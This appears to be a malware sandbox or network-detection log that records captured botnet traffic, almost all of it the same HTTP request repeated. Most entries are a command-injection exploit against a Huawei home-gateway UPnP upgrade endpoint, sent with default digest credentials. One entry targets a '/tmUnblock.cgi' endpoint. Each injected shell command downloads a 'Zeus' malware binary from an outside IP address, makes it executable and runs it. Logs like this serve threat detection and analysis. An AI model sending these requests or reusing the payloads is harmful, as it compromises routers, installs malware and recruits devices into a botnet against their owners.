Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
